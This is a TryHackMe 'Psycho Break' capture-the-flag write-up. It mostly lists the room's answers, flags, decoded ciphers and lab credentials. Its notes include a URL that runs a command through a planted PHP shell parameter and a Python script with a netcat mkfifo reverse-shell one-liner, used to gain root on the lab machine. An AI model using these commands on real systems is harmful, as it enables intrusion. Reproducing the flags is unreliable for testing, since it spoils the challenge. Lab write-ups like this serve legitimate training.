TryHackMe Psycho Break

> Saikat Karmakar | 28 Apr:2021

Task 1

1. How many ports are open?

```
3
```

2. What is the operating system that runs on the target machine?

```
Ubuntu
```

Task 2

1. Key to the looker room

```
532219a04ab7a02b56faafbec1a4c1ea
```

2. Key to access the map

```
Grant_me_access_to_the_map_please
```

3. The Keeper Key

```
48ee41458eb0b43bf82b986cecf3af01
```

4. What is the filename of the text file (without the file extension)

```
You_made_it
```

Task 3

1. Who is locked up in the cell?

```
Joseph
```

2. There is something weird with the .wav file. What does it say?

```
SHOWME //morse deocde
```

3. What is the FTP Username

```
Joseph
```

4. What is the FTP User Password

```
intotheterror445
```

Task 4

1. The key used by the program

```
kidman
```

2. What do the crazy long numbers mean when there decrypted.

```
KIDMANSPASSWORDISSOSTRANGE
```

Task 5

1. user.txt

```
4C72A4EF8E6FED69C72B4D58431C4254
```

2. root.txt

```
BA33BDF5B8A3BFC431322F7D13F3361E
```

Notes

- map key access cipher : type Atbash Cipher https://www.boxentriq.com/

```
Tizmg_nv_zxxvhh_gl_gsv_nzk_kovzhv
```

- decrypt

```
Grant_me_access_to_the_map_please
```

- location for the picture for keeper dir

```
St Augustine Lighthouse
```

```
http://10.10.153.90/abandonedRoom/be8bc662d1e36575a52da40beba38275/herecome
slara.php?shell=ls%20..
```

- pass for the joseph image

```
SHOWME
```

- ftp cred

```
joseph : intotheterror445
```

- t9 encrypted

```
55 444 3 6 2 66 7777 7 2 7777 7777 9 666 777 3 444 7777 7777 666 7777 8 777
2 66 4 33
```

- ssh creds

```
kidman : KIDMANSPASSWORDISSOSTRANGE
```

- .readThis.txt //ROT47

From Kidman:

The thing I am about to tell so is top secret. No one doesn't know about
this. It's the Ruvik's eye. No one can hide away from it. But I can tell
you one thing search for the string *the_eye_of_ruvik* . You got to help
Sebastian defeat Ruvik ...

- edit the /var/.the_eye_of_ruvik.py

```python
#!/usr/bin/python3
import subprocess

subprocess.call("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc
10.4.23.120 1234 >/tmp/f",shell=True)
```